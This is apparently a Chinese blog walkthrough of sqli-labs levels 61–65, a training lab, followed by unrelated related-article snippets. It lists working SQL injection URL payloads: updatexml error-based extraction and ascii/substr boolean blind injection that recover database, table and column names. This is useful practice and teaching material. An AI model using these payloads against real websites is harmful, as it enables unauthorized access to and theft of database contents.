sqli-labs靶场通关攻略(61-65)

server/2024/10/9 9:19:25/

Less-61

步骤一:查看数据库

?id=1')) and updatexml(1,concat(1,(select database())),1)--+

步骤二:查看表名

?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

步骤三:查看users表中列名

?id=1')) and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

Less-62

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1') and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1') and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

Less-63

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1' and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1' and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

Less-64

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1)) and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1)) and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1)) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1)) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id

Less-65

步骤一:查看数据库

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于98 页面显示正常 说明数据库第一位字符ascii码大于98

?id=1") and ascii(substr(database(),1,1))>98--+

判断数据库第一位字符的ascii码是否大于99 页面显示异常 说明不大于 大于98不大于99 说明第一位字符ascii码等于99

?id=1") and ascii(substr(database(),1,1))>99--+

...................................................最终得出challengs

步骤二:查security数据库中第一张表的第一位字符

?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

?id=1") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

................................最终得出第一张表的表名为emails

步骤三:查看users表中第一个字段的第一位字符

?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+

?id=1") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............最终得出users表的第一个字段为id


http://www.ppmy.cn/server/111282.html

相关文章

数据分析- 海量数据求中位数

1. 内存中排序法 如果内存足够容纳所有数据,可以将数据加载到内存中,进行排序,然后直接找到中间位置的元素或者中间两个元素求平均值作为中位数。 步骤 加载数据: 将数据读入内存中。数据可以从文件、数据库或其他数据源加载。 排…

英飞凌HSM内核开发-软硬件架构

veHsm硬件和软件架构概述 1. 软件硬件架构 veHsm是一个嵌入式硬件安全模块,它通过硬件提供的安全区域来增强安全性,这个区域包括: 专用核心:负责执行安全操作。安全内存:用于存储敏感数据,如密钥和资产&a…

DP和HDMI的产生根源

HDMI接口是松下、索尼这些电视厂商在2002年联合推出的视频传输接口,HDMI1.0最高带宽达到4.96Gbps。2006推出的HDMI1.3版本最高带宽达到10.2Gbps,经过四年发展,HDMI接口从电视领域逐步拓展到游戏主机、笔记本、摄像机、数码相机等产品上&#…

CentOS7安装docker小记

首先你得需要有一个虚拟机,我的配置如图: 安装docker的工具 sudo yum install -y yum-utils device-mapper-persistent-data lvm2 指定阿里云的仓库 sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.re…

【ffmpeg】转换音频格式

在音频文件所在目录启动终端输入以下 ffmpeg -y -i original.aac target.mp3-y 如果输出文件已经存在,则覆盖它而不询问。 执行完毕后在当前文件夹目录下生成目标文件

MySQL图形界面 --DataGrip

DataGrip下载安装 1.进入DataGrip官网 右上角点击下载 下载完成之后双击该下载的应用程序 点击下一步 输入安装目录 全选,下一步 直接安装 开始中找到该数据库并且启动

安全 iMaster NCE-CampusInsight

本次项目在信息安全规划和设计时, 通过划分安全域实现业务的正常运行和安全的有效保障。 结合该公司实际情况对安全等级进行评估,按照不同要求划分成了多个安全域,提升整体安全性。数据中心划分为应用业务安全域、数据库安全域、 运维管理安全…

执行标准应该公开吗?

在当今社会,标准的重要性日益凸显。执行标准,如同商业世界和公共生活中的指南针,为产品质量、服务水平以及各类活动划定了清晰的界限。那么,执行标准应该公开吗?这是一个值得我们深入探讨的关键问题。 一、对于国家标…